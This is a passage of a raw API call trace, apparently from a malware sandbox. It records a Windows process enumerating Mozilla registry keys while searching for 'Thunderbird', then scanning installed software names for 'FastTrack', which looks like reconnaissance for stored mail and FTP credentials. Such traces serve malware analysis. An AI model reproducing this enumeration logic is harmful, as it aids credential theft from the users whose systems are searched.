lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0079.779] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\", lpString2="f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0079.779] LocalFree (hMem=0x6293a8) returned 0x0 [0079.779] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpSrch="Thunderbird") returned 0x0 [0079.779] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.779] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.780] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.780] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned 68 [0079.780] lstrlenA (lpString="\\") returned 1 [0079.780] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x630000 [0079.780] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0079.780] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0079.780] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned 69 [0079.780] lstrlenA (lpString="0") returned 1 [0079.780] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x66b940 [0079.780] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0079.780] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\", lpString2="0" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0079.780] LocalFree (hMem=0x630000) returned 0x0 [0079.780] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", lpSrch="Thunderbird") returned 0x0 [0079.780] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x675360 [0079.780] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x1fc) returned 0x0 [0079.780] RegEnumKeyExA (in: hKey=0x1fc, dwIndex=0x0, lpName=0x675360, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.780] RegCloseKey (hKey=0x1fc) returned 0x0 [0079.780] LocalFree (hMem=0x675360) returned 0x0 [0079.780] LocalFree (hMem=0x66b940) returned 0x0 [0079.780] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x1, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.780] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.780] LocalFree (hMem=0x64fcd0) returned 0x0 [0079.780] LocalFree (hMem=0x66b738) returned 0x0 [0079.780] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.780] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.780] LocalFree (hMem=0x64f448) returned 0x0 [0079.780] LocalFree (hMem=0x629248) returned 0x0 [0079.780] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x2, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.780] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.780] lstrlenA (lpString="\\") returned 1 [0079.780] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.780] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.780] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.781] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.781] lstrlenA (lpString="Mozilla Firefox") returned 15 [0079.781] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0079.781] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.781] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0079.781] LocalFree (hMem=0x670c38) returned 0x0 [0079.781] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Thunderbird") returned 0x0 [0079.781] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.781] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.781] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.781] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0079.781] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0079.781] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0079.781] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0079.781] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647ab8 [0079.781] lstrcpyA (in: lpString1=0x647ab8, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0079.781] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0079.781] LocalFree (hMem=0x6293a8) returned 0x0 [0079.781] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Thunderbird") returned 0x0 [0079.781] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.781] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.781] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.781] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.781] lstrcpyA (in: lpString1=0x647b70, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0079.781] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.781] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0079.781] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.781] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0079.781] LocalFree (hMem=0x647b70) returned 0x0 [0079.781] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Thunderbird") returned 0x0 [0079.781] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x675360 [0079.781] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x1fc) returned 0x0 [0079.782] RegEnumKeyExA (in: hKey=0x1fc, dwIndex=0x0, lpName=0x675360, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.782] RegCloseKey (hKey=0x1fc) returned 0x0 [0079.782] LocalFree (hMem=0x675360) returned 0x0 [0079.782] LocalFree (hMem=0x643aa8) returned 0x0 [0079.782] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x1, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.782] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.782] lstrcpyA (in: lpString1=0x647b70, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0079.782] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.782] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0079.782] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.782] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0079.782] LocalFree (hMem=0x647b70) returned 0x0 [0079.782] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Thunderbird") returned 0x0 [0079.782] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x675360 [0079.782] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x1fc) returned 0x0 [0079.782] RegEnumKeyExA (in: hKey=0x1fc, dwIndex=0x0, lpName=0x675360, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.782] RegCloseKey (hKey=0x1fc) returned 0x0 [0079.782] LocalFree (hMem=0x675360) returned 0x0 [0079.782] LocalFree (hMem=0x643aa8) returned 0x0 [0079.782] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x2, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.782] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.782] LocalFree (hMem=0x64fcd0) returned 0x0 [0079.782] LocalFree (hMem=0x647ab8) returned 0x0 [0079.782] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.782] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.782] LocalFree (hMem=0x64f448) returned 0x0 [0079.782] LocalFree (hMem=0x629248) returned 0x0 [0079.782] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x3, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.782] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.782] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.783] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.783] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.783] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.783] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0079.783] LocalFree (hMem=0x670c38) returned 0x0 [0079.783] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Thunderbird") returned 0x0 [0079.783] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.783] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.783] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.783] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0079.783] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0079.783] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.783] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.783] lstrcpyA (in: lpString1=0x647ab8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.783] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0079.783] LocalFree (hMem=0x6293a8) returned 0x0 [0079.783] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Thunderbird") returned 0x0 [0079.783] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.783] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.783] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.783] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.783] LocalFree (hMem=0x64fcd0) returned 0x0 [0079.783] LocalFree (hMem=0x647ab8) returned 0x0 [0079.783] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.783] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0079.783] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0079.783] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.783] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0079.783] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.783] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0079.783] LocalFree (hMem=0x6293a8) returned 0x0 [0079.783] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Thunderbird") returned 0x0 [0079.784] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.784] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.784] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.784] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.784] LocalFree (hMem=0x64fcd0) returned 0x0 [0079.784] LocalFree (hMem=0x643aa8) returned 0x0 [0079.784] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x2, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.784] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.784] LocalFree (hMem=0x64f448) returned 0x0 [0079.784] LocalFree (hMem=0x629248) returned 0x0 [0079.784] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x4, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.784] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.784] LocalFree (hMem=0x655600) returned 0x0 [0079.784] SetCurrentDirectoryA (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0079.784] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.784] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1ca, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.784] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdcc*=0x10, cb=0x4, pcbWritten=0x12fda8 | out: pcbWritten=0x12fda8*=0x4) returned 0x0 [0079.784] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.784] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x1c2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.784] IStream:SetSize (This=0x6405d0, libNewSize=0x1c2) returned 0x0 [0079.785] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.785] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.785] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.785] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.785] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x60, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.785] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.785] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.785] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="FastTrack") returned 0x0 [0079.786] StrStrIA 